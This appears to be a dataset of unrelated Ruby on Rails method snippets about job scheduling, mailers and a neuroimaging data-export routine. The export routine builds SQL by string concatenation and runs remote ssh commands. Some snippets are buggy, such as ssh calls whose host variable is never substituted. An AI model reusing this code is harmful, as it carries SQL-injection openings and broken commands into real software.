timestamps of first and last trace records\n if rjob[\"trace\"]\n job[:first] = rjob[\"trace\"][0].split(\"|\")[0]\n job[:last] = rjob[\"trace\"][-1].split(\"|\")[0]\n\n # Compute elapsed time. Live jobs show time from submission\n # until now. Dead jobs show end-to-end elapsed time.\n t1 = DateTime.parse(job[:first]).to_time\n if is_live\n snow = Time.now.in_time_zone.to_s\n t2 = DateTime.parse(snow).to_time\n else\n t2 = DateTime.parse(job[:last]).to_time\n end\n job[:elapsed] = t2.to_i - t1.to_i # elapsed seconds\n job[:tlast] = t2.to_i # epoch time when the job completed\n\n # Get status and overall summary of the job's state\n job[:status] = rjob[\"trace\"][-1].split(\"|\")[1]\n end\n\n if is_live\n job[:state] = if job[:status][\"Added job\"]\n \"Waiting\"\n else\n \"Running\"\n end\n else\n job[:state] = \"Completed\"\n job[:state] = \"Failed\" if rjob[\"trace\"][-1].split(\"|\")[1].include? \"Error\"\n end\n\n job\n end", "def create_daily_tests()\n\n Rails.logger.info \"Checking for Daily test runs\"\n\n # get instances of a daily test run\n tests_to_add_to_stack = RecurringSchedule.get_daily_tests()\n setup_scheduled_test(tests_to_add_to_stack)\n end", "def create\n @job = current_member.jobs.new(job_params)\n @job.published_at = DateTime.now\n\n\n respond_to do |format|\n if @job.save\n\n format.html { redirect_to @job, notice: 'The stuff you want done was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end", "def cron_tasks\n end", "def reserve_and_run_one_job; end", "def send_emails_new_person\n NewPersonJob.perform_later(id, full_name)\n end", "def create\n @pending_job = PendingJob.new(pending_job_params)\n current_stage = 'E'\n @pending_job.time_queued = Time.now\n @pending_job.current_stage = current_stage\n @pending_job.current_stage_started = Time.now\n\n respond_to do |format|\n if @pending_job.save\n EFinishJob.perform_in(1.minutes, @pending_job.id, @pending_job.course, @pending_job.assignment, @pending_job.username)\n format.html { redirect_to @pending_job, notice: 'Pending job was successfully created.' }\n format.json { render :show, status: :created, location: @pending_job }\n else\n format.html { render :new }\n format.json { render json: @pending_job.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\n #ESTO SE VA DESCOMENTAR CUANDO SE INSERTE EL START_DATE Y EL END_DATE DEL FORMULARIO DE RENEWAL\n puts 'Aki va el array de Renewal'\n puts system_renewal_params\n puts 'Aki termina el arrayyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy'\n contract = System::Contract.find(system_renewal_params[:contract_id])\n @email = contract.supplier.email\n @start_date=Date.new(system_renewal_params[\"start_date(1i)\"].to_i,system_renewal_params[\"start_date(2i)\"].to_i,system_renewal_params[\"start_date(3i)\"].to_i)\n @end_date=Date.new(system_renewal_params[\"end_date(1i)\"].to_i,system_renewal_params[\"end_date(2i)\"].to_i,system_renewal_params[\"end_date(3i)\"].to_i)\n\t\tt0=Time.new(system_renewal_params[\"start_date(1i)\"].to_i,system_renewal_params[\"start_date(2i)\"].to_i,system_renewal_params[\"start_date(3i)\"].to_i)\n t1=Time.new(system_renewal_params[\"end_date(1i)\"].to_i,system_renewal_params[\"end_date(2i)\"].to_i,system_renewal_params[\"end_date(3i)\"].to_i)\n \n\t puts 'Aki va el parametro start_date sssssssssssssssssssssssssssssssssss'\n puts t1\n if params[:notification_date].nil?\n file_yaml = YAML.load_file \"#{Rails.root}/config/config.yml\"\n @before_days = file_yaml[\"production\"]['notification_time'].to_i.days\n else\n @before_days = params[:notification_date].to_i.days\n end\n \n @recordar = t0 - @before_days\n @recordar2 = t1 - @before_days\n puts 'aki va el recordatorio al iniciar la renovacion'\n puts @recordar\n puts 'aki terminaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'\n puts @email\n puts 'aki termina emailllllllllllllllllllllllllllllllllllllllllllllllllllllll'\n \n @email_departamento = contract.device.location.email \n array_mailer = [@email, @email_departamento]\n \n @delayed_id_start = ApplicationMailer.delay(run_at: @recordar).send_mail(array_mailer, contract,'create_renewal', @start_date, @end_date)\n @delayed_id_end = ApplicationMailer.delay(run_at: @recordar2).send_mail(array_mailer, contract,'create_renewal', @start_date, @end_date)\n \n\t@start_date_google=system_renewal_params[\"start_date(1i)\"].to_s + '-' + system_renewal_params[\"start_date(2i)\"].to_s + '-' + system_renewal_params[\"start_date(3i)\"].to_s + 'T10:00:52-05:00'\n\t@end_date_google=system_renewal_params[\"end_date(1i)\"].to_s + '-' + system_renewal_params[\"end_date(2i)\"].to_s + '-' + system_renewal_params[\"end_date(3i)\"].to_s + 'T10:00:52-05:00'\n\t@x=System::Contract.find(system_renewal_params[:contract_id])\n\t@google_event_start = System::Renewal.event_insert(@start_date_google,@start_date_google,@x.description,'neuro')\n @google_event_end= System::Renewal.event_insert(@end_date_google,@end_date_google,@x.description,'neuro')\n\n\t@system_renewal = System::Renewal.new(contract_id: system_renewal_params[:contract_id], start_date: @start_date, end_date: @end_date, monto: system_renewal_params[:monto], google_event_start: @google_event_start, google_event_end: @google_event_end, delayed_id_start: @delayed_id_start.id, delayed_id_end: @delayed_id_end.id)\n\n respond_to do |format|\n if @system_renewal.save\n @system_renewal.created_at.in_time_zone\n \n \n\tformat.html { redirect_to @system_renewal, notice: 'Renewal was successfully created.' }\n format.json { render :show, status: :created, location: @system_renewal }\n format.js { redirect_to @system_renewal, notice: 'Renewal was successfully created.' }\n else\n format.html { render :new }\n format.json { render json: @system_renewal.errors, status: :unprocessable_entity }\n format.js { render :new }\n end\n end\n end", "def create\n @report_schedule = ReportSchedule.find(params[:report_schedule_id])\n #@report = @report_schedule.reports.new\n @job = @report_schedule.delay.generate_report\n\n respond_to do |format|\n format.html { redirect_to @report, notice: 'Report was successfully created.' }\n format.json { render json: @job, status: :created }\n end\n end", "def create_job_hash\n input_feed = Feedjira::Feed.fetch_and_parse('https://www.jobsatosu.com/all_jobs.atom ')\n feed_entries = input_feed.entries\n @jobs = Hash.new\n feed_entries.each do |fe|\n discription = ActionView::Base.full_sanitizer.sanitize(fe.content)\n if discription.length > 500\n short_discription = discription[0..500]+\"...\"\n else\n short_discription = discription\n end\n link = fe.links[0]\n @jobs[fe.entry_id] = \n {published: fe.published,\n updated: fe.updated,\n url: fe.url,\n links: link,\n title: fe.title,\n content: short_discription,\n full_content: discription,\n department: fe.author} \n end\n @jobs\n end", "def schedule\n Resque.set_schedule(schedule_name, {\n :cron => cron,\n :class => \"Myreplicator::Export\",\n :queue => \"myreplicator_export\",\n :args => id\n })\n end", "def call(_obj, args, ctx)\n Reminder.create!(\n date: args[:date],\n user_id: ctx[:session][:user_id],\n reference: args[:reference],\n priority: args[:priority].to_i,\n service_type: args[:service_type],\n complete: args[:complete],\n vocus_ticket: args[:vocus_ticket],\n nbn_search: args[:nbn_search],\n notes: args[:notes],\n check_for: args[:check_for],\n fault_type: args[:fault_type],\n vocus: args[:vocus]\n )\n end", "def perform(email, job_id)\n if email.blank? or job_id.blank?\n puts(\"Either of job or email is blank. Email: #{email}, Job: #{job_id}\")\n return\n end\n\n email_invitations = EmailInvitation.where(:email => email)\n email_invitation = nil\n email_invitations.each do |invitation|\n unless invitation[:invitor_handle].blank?\n email_invitation = invitation\n end\n end\n\n if !email_invitations.blank? and email_invitation.blank?\n email_invitation = email_invitations[0]\n end\n\n if email_invitation.blank?\n email_invitation = create_email_invitation_for_email(email, nil)\n end\n\n if email_invitation.reminder_count >= 3\n puts(\"Reminder count exceeded for user: #{email}\")\n return\n end\n\n job = get_job_by_id(job_id)\n if job.blank? or !job.live\n puts(\"Either Job is blank or not live. live? #{job.live}\")\n return\n end\n\n email_variation_id = get_job_email_variation\n user = get_user_by_email(email)\n if user.blank?\n user = create_passive_user(email)\n elsif user[:active]\n puts(\"USER (#{user})is active returning from not sending invitation\")\n return\n end\n begin\n Notifier.email_job_invitation(user, '', job, email_variation_id).deliver\n rescue Exception => ex\n puts \"Exception: #{ex}\"\n end\n\n email_invitation.last_variation_used = email_variation_id\n email_invitation.time = Time.now\n email_invitation.reminder_count = email_invitation.reminder_count + 1\n email_invitation.save\n track_email_send(\"track_job_email_#{job_id}_#{email_variation_id}\")\n end", "def new_job\n j = self.class.new\n j.save\n end", "def perform(*args)\n #leader with employees in user_ids\n #has attributes uid,user_ids,atten_rule\n\n opts = args.extract_options!\n\n yesterday = args[0] || Date.yesterday\n leaders = User.leaders_by_date(yesterday)\n #用于测试\n if opts[:leader_user_id]\n leaders = leaders.slice(opts[:leader_user_id]) #[leaders.detect { |e| e[0] == opts[:leader_user_id] }]\n end\n\n #puts leaders.inspect\n #构建邮件并发出去\n leaders.each do |leader_user_id,value|\n checkin_uids = value[\"user_ids\"]\n #发送邮件\n #TODO:是否还要保留checkin_uids?\n if checkin_uids.length > 0\n Task.create(\"F001\",leader_user_id,leader_user_id: leader_user_id,checkin_uids: checkin_uids.uniq.to_json,date: yesterday.to_s)\n Usermailer.daily_kaoqing(leader_user_id,uids: checkin_uids.uniq,date: yesterday.to_s).deliver_later\n puts \"sending daily mail #{leader_user_id} \"\n end\n end\n\n puts \"i am preforming\"\n end", "def run\n # Process Starting Time\n starting = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n\n # Get records from national service. They'll be fetched from a certain time onwards.\n new_nat_assertions = national_consents_get\n\n # Get new consent records from HEL service.\n new_hel_consents = hel_records_get\n\n # Identify and add new records\n mapping_all_new_consents(new_nat_assertions[:assertions], new_hel_consents)\n\n # Process Ending Time and calculate total time taken for processing.\n ending = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n Logging.logger.info \"Time taken to run the job: #{format('%<time>0000.3f', time: (ending - starting))}sec\"\n end", "def process_recurrence(recurrence)\n return true unless recurrence.today?\n recurrence.update_job\n end", "def create\n @job = Job.new(params[:job])\n @job.creator = current_user\n @clients = Client.find(:all)\n @mailshops = Mailshop.find(:all)\n\n # if any seeds file is uploaded, save the status to the job uploaded_seeds_file accessor\n @job.uploaded_seeds_file = true if params[:job][:seeds_definition_file].present?\n\n respond_to do |format|\n if @job.save\n if params[:job][:seeds_definition_file].present?\n flash[:notice] = 'Job was successfully created. Please stand by as seeds are loaded and processed.'\n else\n flash[:notice] = 'Job was successfully created'\n end\n format.html { redirect_to job_url(@job) }\n format.xml { head :created, :location => job_url(@job) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors.to_xml }\n end\n end\n end", "def run_wahlin_t1_asl_resting\n v_base_path = Shared.get_base_path()\n v_log_base =\"/mounts/data/preprocessed/logs/\"\n v_process_name = \"wahlin_t1_asl_resting\"\n process_logs_delete_old( v_process_name, v_log_base)\n @schedule = Schedule.where(\"name in ('wahlin_t1_asl_resting')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting wahlin_t1_asl_resting_upload\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n v_comment = \"\"\n v_comment_warning =\"\"\n v_stop_file_name = v_process_name+\"_stop\"\n v_stop_file_path = v_log_base+v_stop_file_name\n connection = ActiveRecord::Base.connection();\n v_computer = \"kanga\"\n \n # t1 and resting bold from /unknown asl from /asl\n v_target_dir = \"/home/panda_user/wahlin_t1_asl_resting\"\n v_final_target = \"ftp directory tbd\"\n v_series_description_category_array = ['T1_Volumetric','resting_fMRI'] #,'ASL']\n v_series_description_category_id_array = [19, 17] #,1]\n sql = \"select distinct subjectid, enrollment_id, scan_procedure_id from cg_adrc_upload\n where ( wahlin_t1_asl_resting_sent_flag != 'Y' or wahlin_t1_asl_resting_sent_flag is NULL)\n and ( wahlin_t1_asl_resting_status_flag != 'N' or wahlin_t1_asl_resting_status_flag is NULL)\n \"\n results = connection.execute(sql)\n \n # get each subject , make target dir \n # get each series decription / file name / nii file based on series_description_category\n # mkdir with series_description_category, # of scan - e.g. 3rd T1\n # copy over the .nii file, r\n # bzip2 each subjectid dir\n results.each do |r|\n v_break = 0 # need a kill swith\n v_log = \"\"\n if File.file?(v_stop_file_path)\n File.delete(v_stop_file_path)\n v_break = 1\n v_log = v_log + \" STOPPING the results loop\"\n v_comment = \" STOPPING the results loop \"+v_comment\n end\n break if v_break > 0\n \n v_comment = \"strt \"+r[0]+\",\"+v_comment\n @schedulerun.comment =v_comment[0..1990]\n @schedulerun.save\n # update schedulerun comment - prepend \n sql_vgroup = \"select DATE_FORMAT(max(v.vgroup_date),'%Y%m%d' ) from vgroups v where v.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+r[0]+\"')\n and v.id in ( select scvg.vgroup_id from scan_procedures_vgroups scvg where scvg.scan_procedure_id in (22))\"\n results_vgroup = connection.execute(sql_vgroup)\n # mkdir /tmp/adrc_upload/[subjectid]_YYYYMMDD_wisc\n v_export_id = (@schedule.id).to_s+\"_\"+r[0].to_s\n v_subject_dir = v_export_id+\"_\"+(results_vgroup.first)[0].to_s+\"_wisc\"\n v_parent_dir_target =v_target_dir+\"/\"+v_subject_dir\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_subjectid = r[0].gsub(\"_v2\",\"\").gsub(\"_v3\",\"\").gsub(\"_v4\",\"\").gsub(\"_v5\",\"\")\n sql_dataset = \"select distinct appointments.appointment_date, visits.id visit_id, image_datasets.id image_dataset_id, image_datasets.series_description, image_datasets.path, series_description_types.series_description_type \n from vgroups , appointments, visits, image_datasets, series_description_maps, series_description_types \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id and visits.id = image_datasets.visit_id\n and LOWER(image_datasets.series_description) = LOWER(series_description_maps.series_description)\n and series_description_maps.series_description_type_id = series_description_types.id\n and series_description_types.series_description_type in ('T1 Volumetic','T1 Volumetric','T1+Volumetric','T1_Volumetric','T1','resting_fMRI','resting fMRI','resting+fMRI') \n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = \"+r[1].to_s+\" and evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"')\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" )\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dataset)\n v_folder_array = [] # how to empty\n v_scan_desc_type_array = []\n v_cnt = 1\n results_dataset.each do |r_dataset|\n v_series_description_type = r_dataset[5].gsub(\" \",\"_\")\n if !v_scan_desc_type_array.include?(v_series_description_type)\n v_scan_desc_type_array.push(v_series_description_type)\n end\n v_path = r_dataset[4]\n v_dir_array = v_path.split(\"/\")\n v_dir = v_dir_array[(v_dir_array.size - 1)]\n v_dir_target = v_dir+\"_\"+v_series_description_type\n v_path = v_path.gsub(\"/Volumes/team/\",\"\").gsub(\"/Volumes/team-1/\",\"\").gsub(\"/Data/vtrak1/\",\"\") #v_base_path+\"/\"+\n if v_folder_array.include?(v_dir_target)\n v_dir_target = v_dir_target+\"_\"+v_cnt.to_s\n v_cnt = v_cnt +1\n # might get weird if multiple types have dups - only expect T1/Bravo\n end\n v_folder_array.push(v_dir_target) \n \n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"/\"+v_dir_target+\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_preprocessed_path = v_base_path+\"/preprocessed/visits/\"\n v_scan_procedure_path = ScanProcedure.find(r[2]).codename\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'rsync -av \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid+\"/unknown/\"+ v_subjectid+\"_*_\"+v_dir+\".nii \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_\"+r_dataset[3].gsub(\" \",\"_\")+\"_\"+v_dir+\".nii '\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n \n end\n\n # get asl\n v_series_description_category_array = ['ASL']\n v_series_description_category_id_array = [1]\n # from the adrc_pcvipr\n sql_dataset = \"select distinct appointments.appointment_date, visits.id visit_id, image_datasets.id image_dataset_id, image_datasets.series_description, image_datasets.path, series_description_types.series_description_type \n from vgroups , appointments, visits, image_datasets, series_description_maps, series_description_types \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id and visits.id = image_datasets.visit_id\n and LOWER(image_datasets.series_description) = LOWER(series_description_maps.series_description)\n and series_description_maps.series_description_type_id = series_description_types.id\n and series_description_types.series_description_type in ('ASL') \n and image_datasets.series_description != 'ASL CBF'\n and image_datasets.series_description != 'Cerebral Blood Flow'\n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = \"+r[1].to_s+\" and evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"')\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" )\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dataset)\n # v_preprocessed_path = v_base_path+\"/preprocessed/visits/asthana.adrc-clinical-core.visit1/\"\n v_preprocessed_path = v_base_path+\"/preprocessed/visits/\"\n v_scan_procedure_path = ScanProcedure.find(r[2]).codename\n v_preprocessed_path = v_preprocessed_path +v_scan_procedure_path+\"/\"\n v_cnt = 1\n results_dataset.each do |r_dataset|\n v_series_description_type = r_dataset[5].gsub(\" \",\"_\")\n if !v_scan_desc_type_array.include?(v_series_description_type)\n v_scan_desc_type_array.push(v_series_description_type)\n end\n v_path = r_dataset[4]\n v_dir_array = v_path.split(\"/\")\n v_dir = v_dir_array[(v_dir_array.size - 1)]\n v_dir_target = v_dir+\"_\"+v_series_description_type\n v_path = v_path.gsub(\"/Volumes/team/\",\"\").gsub(\"/Volumes/team-1/\",\"\").gsub(\"/Data/vtrak1/\",\"\") #v_base_path+\"/\"+\n if v_folder_array.include?(v_dir_target)\n v_dir_target = v_dir_target+\"_\"+v_cnt.to_s\n v_cnt = v_cnt +1\n # might get weird if multiple types have dups - only expect T1/Bravo\n end\n v_folder_array.push(v_dir_target)\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"/\"+v_dir_target+\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n \n # temp - replace /Volumes/team/ and /Data/vtrak1/ with /Volumes/team-1 in dev\n # split on / --- get the last dir\n # make new dir name dir_series_description_type \n # check if in v_folder_array , if in v_folder_array , dir_series_description_type => dir_series_description_type_2\n # add dir, dir_series_description_type to v_folder_array\n # cp path ==> /tmp/adrc_pcvipr/[subjectid]_yyymmdd_wisc/dir_series_description_type(_2)\n\n # get the ASL_fmap and PDmap \n puts \"aaaaaaaaaa v_series_description_type =\"+v_series_description_type\n if v_series_description_type == \"ASL\"\n v_asl_nii = v_preprocessed_path+r[0]+\"/asl/ASL_fmap_\"+r[0]+\"_*.nii\"\n v_pdmap_nii = v_preprocessed_path+r[0]+\"/asl/PDmap_\"+r[0]+\"_*.nii\"\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'rsync -av \"+ v_asl_nii+\" \"+v_parent_dir_target+\"/\"+v_dir_target+\"' \"\n puts \"ASL =\"+v_call\n stdin, stdout, stderr = Open3.popen3(v_call)\n stderr.each {|line|\n puts line\n }\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_call = \"rsync -av \"+ v_pdmap_nii+\" \"+v_parent_dir_target\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'rsync -av \"+ v_pdmap_nii+\" \"+v_parent_dir_target+\"/\"+v_dir_target+\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n stderr.each {|line|\n puts line\n }\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n end\n if v_series_description_type == \"ASL\"\n v_asl_nii = v_preprocessed_path+r[0]+\"/asl/images/ASL_fmap_\"+r[0]+\"_*.nii\"\n v_pdmap_nii = v_preprocessed_path+r[0]+\"/asl/images/PDmap_\"+r[0]+\"_*.nii\"\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'rsync -av \"+ v_asl_nii+\" \"+v_parent_dir_target+\"/\"+v_dir_target+\"' \"\n puts \"ASL =\"+v_call\n stdin, stdout, stderr = Open3.popen3(v_call)\n stderr.each {|line|\n puts line\n }\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_call = \"rsync -av \"+ v_pdmap_nii+\" \"+v_parent_dir_target\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'rsync -av \"+ v_pdmap_nii+\" \"+v_parent_dir_target+\"/\"+v_dir_target+\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n stderr.each {|line|\n puts line\n }\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n end\n end\n \n #tar.gz subjectid dir\n v_call = \"cd \"+v_target_dir+\"; /bin/tar -zcf \"+v_subject_dir+\".tar.gz \"+v_subject_dir+\"/\"\n v_call = 'ssh panda_user@\"+v_computer+\".dom.wisc.edu \" tar -C '+v_target_dir+' -zcf '+v_parent_dir_target+'.tar.gz '+v_subject_dir+'/ \" '\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # remove subjectid dir\n v_call = 'ssh panda_user@\"+v_computer+\".dom.wisc.edu \" rm -rf '+v_parent_dir_target+' \"'\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n \n # fsftp dir when set -- not practical - not using auto move\n # sftp -- shared helper hasthe username /password and address\n # v_username = Shared.panda_admin_sftp_username # get from shared helper -- leaving as panda_admin\n # v_passwrd = Shared.panda_admin_sftp_password # get from shared helperwhich is not on github\n # switch on new platform\n #v_username = Shared.panda_user_sftp_username # get from shared helper\n #v_passwrd = Shared.panda_user_sftp_password # get from shared helperwhich is not on github\n # v_ip = Shared.dom_sftp_host_address # get from shared helper\n # v_sftp_dir = Shared.antuano_target_path\n \n # problem that files are on \"+v_computer+\", but panda running from nelson\n # need to ssh to \"+v_computer+\" as pand_admin, then sftp\n # v_source = \"panda_user@\"+v_computer+\".dom.wisc.edu:\"+v_target_dir+'/'+v_subject_dir+\".tar.gz\"\n \n # v_target = v_sftp_dir+\"/\" #+v_subject_dir+\".tar.gz\"\n \n# puts \"aaaaaa v_source = \"+v_source\n# puts \"bbbbbb v_target = \"+v_target\n# Net::SFTP.start(v_ip, v_username, :password => v_passwrd) do |sftp|\n# sftp.upload!(v_source, v_target)\n# end\n# \n \n sql_done = \"update cg_adrc_upload set wahlin_t1_asl_resting_sent_flag ='Y', wahlin_t1_asl_resting_dir_list = '\"+ v_folder_array.join(\",\")+\"' where subjectid = '\"+r[0]+\"'\"\n results_done = connection.execute(sql_done)\n \n end # results\n \n @schedulerun.comment =(\"successful finish wahlin_t1_asl_resting_upload \"+v_comment_warning+\" \"+v_comment[0..1990])\n if !v_comment.include?(\"ERROR\")\n @schedulerun.status_flag =\"Y\"\n end\n @schedulerun.save\n @schedulerun.end_time = @schedulerun.updated_at \n @schedulerun.save\n \n end", "def after_create(article)\n #expire_public_page(params[:article], params[:group])\n '/etc/cron.hourly/railsfix'\n end", "def schedule_loan_tasks(order)\n comment = \"system note - Made payment on #{order.created_at}\"\n msg = \"Call #{customer.full_name} about there payment.\"\n new_date = self.due_date.next_month\n tasks.each do |t|\n t.mark_completed_and_msg(order.user_id, comment)\n end\n self.update_attribute(:due_date, new_date)\n Task.create!(:user_id => user_id, :assigned_to => user_id, :name => msg, :asset_id => self.id, :asset_type => self.class, :company_id => company_id, :category => \"call\", :due_at => new_date - 2.days)\n end", "def create_new_report!; end", "def create_new_report!; end", "def vat_verificate_job\n logger.info '** VatPeriod verificate_job start'\n vat_verificate = Services::VatVerificate.new(self, deadline)\n if vat_verificate.create\n logger.info \"** VatPeriod #{id} create_verificate returned ok\"\n else\n logger.info \"** VatPeriod #{id} create_verificate did NOT return ok\"\n end\n end", "def create\n @post = Post.new(params[:post])\n\n success = @post.save\n\n embargo = @post.publish_at.strftime(\"%a %b %d %H:%M:%S\") + \" +0100 \" + @post.publish_at.strftime(\"%Y\")\n\n if success\n testJob = @@scheduler.at embargo, :tags => @post.id.to_s do\n puts \"Setting visible to true...\"\n @post.visible = true\n @post.save\n end\n end\n\n\n\n respond_to do |format|\n if success\n\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def crear_reserva\n if (horainicio - Time.now) < 14_400\n ReservationsJob.set(wait: (self.horainicio - Time.now).seconds).perform_later(self.space_id)\n asignar_espacio\n end\n end", "def perform\n publish_scheduled\n end", "def create\n @job = Job.new(params[:job].reject{|key, value| key == 'jobs_queue_id'})\n @job.user = current_user\n\n respond_to do |format|\n if @job.save\n if @job.r_script.tags.collect{|tag| tag.name}.include?('install script')\n @job.pending \n elsif queue = JobsQueue.find_by_id(params[:job][:jobs_queue_id].to_i) \n @job.submit(queue) \n end\n create_log_entry(@job.r_script, @job, 'use')\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(jobs_url) }\n format.xml { render :xml => @job.to_xml(:include => { :job_parameters => { :include => :data_set } }), :status => :created, :location => @job }\n else\n @job.jobs_queue_id = params[:job][:jobs_queue_id]\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end", "def weekly\n @greeting = \"Hello\"\n mail subject: args[:subject], to: args[:emails]\n mail to: \"to@example.org\"\n end", "def improve_and_reopen_mail\n petition = Petition.where(status: 'live').first\n PetitionMailer.improve_and_reopen_mail(Petition.live.first)\n end", "def create_job(change_set)\n cs = GtaTravelChannelCtaChangeSetChannel.create(:change_set_id => change_set.id, :channel_id => self.channel.id)\n cs.delay.run\n end", "def test_update_job \r\n # Create a trigger object with simple recurrence\r\n trigger = JasperServer::ReportSchedulerService::JobSimpleTrigger.new\r\n trigger.startDate = SOAP::SOAPDateTime.new( \"2010-01-01T00:00:00.0000000+02:00\" )\r\n trigger.occurrenceCount = 1\r\n trigger.recurrenceInterval = 1\r\n trigger.recurrenceIntervalUnit = JasperServer::ReportSchedulerService::IntervalUnit::WEEK\r\n \r\n # Create an mail notification object\r\n email = JasperServer::ReportSchedulerService::JobMailNotification.new\r\n email.toAddresses = \"all4miller@gmail.com\"\r\n email.subject = \"Schedule report execution completed successfully\"\r\n email.messageText = \"Schedule report execution completed successfully\"\r\n email.resultSendType = JasperServer::ReportSchedulerService::ResultSendType::SEND_ATTACHMENT\r\n \r\n # Create a repository destination object \r\n repo_dest = JasperServer::ReportSchedulerService::JobRepositoryDestination.new\r\n repo_dest.folderURI = '/ContentFiles/pdf'\r\n repo_dest.sequentialFilenames = false \r\n repo_dest.overwriteFiles = true\r\n \r\n # Create a job object \r\n job = JasperServer::ReportSchedulerService::Job.new\r\n job.reportUnitURI = @test_report_no_params['uri']\r\n job.label = @test_report_no_params['output_label'] \r\n job.baseOutputFilename = @test_report_no_params['output_filename']\r\n job.outputFormats = ['PDF']\r\n job.simpleTrigger = trigger\r\n job.mailNotification = email\r\n job.repositoryDestination = repo_dest\r\n \r\n # Create the schedule on the server \r\n job_res = @scheduler_service.scheduleJob( job )\r\n \r\n @test_jobs << job_res.id if !job_res.nil?\r\n \r\n # Update job values\r\n job_res.label << ' updated params'\r\n job_res.outputFormats = ['XLS']\r\n job_res.simpleTrigger.recurrenceIntervalUnit = JasperServer::ReportSchedulerService::IntervalUnit::DAY\r\n job_res.mailNotification.resultSendType = JasperServer::ReportSchedulerService::ResultSendType::SEND_ATTACHMENT\r\n \r\n # Persist the updated job\r\n updated_job = @scheduler_service.updateJob( job_res )\r\n \r\n assert_not_nil( updated_job, 'Failed to update the existing job' )\r\n assert_instance_of( JasperServer::ReportSchedulerService::Job, updated_job,\r\n 'Failed to update the existing job' ) \r\n end", "def calculate_past\n site_id = params[:id]\n year = DateTime.now.year\n month = DateTime.now.month\n x = 0\n while x < 2 do\n month -= 1\n if month == 0 then \n year -= 1\n month = 12\n end\n x = x+1\n puts \"Calculating\"\n puts site_id\n date_start = Date.new(year, month, 1)\n d = date_start\n d += 42\n date_end = Date.new(d.year, d.month) - 1\n puts date_end.to_s\n puts date_start.to_s\n \n Delayed::Job.enqueue CalculateSite.new(site_id,date_start,date_end)\n end\n render :nothing => true\n end", "def createJobSummary\n comment = \"PR cannot be merged due to following issues:\\n\"\n if MAINTAINERS_FAILED_VALIDATION.length() != 0\n comment += \"- Maintainers\\n\"\n for issueObject in MAINTAINERS_FAILED_VALIDATION do\n comment += \"\\t- `#{issueObject[:title]}`\\n\"\n for issue in issueObject[:issues] do\n comment += \"\\t\\t- #{issue}\\n\"\n end\n end\n end\n if OSSPROJECTS_FAILED_VALIDATION.length() != 0\n comment += \"- 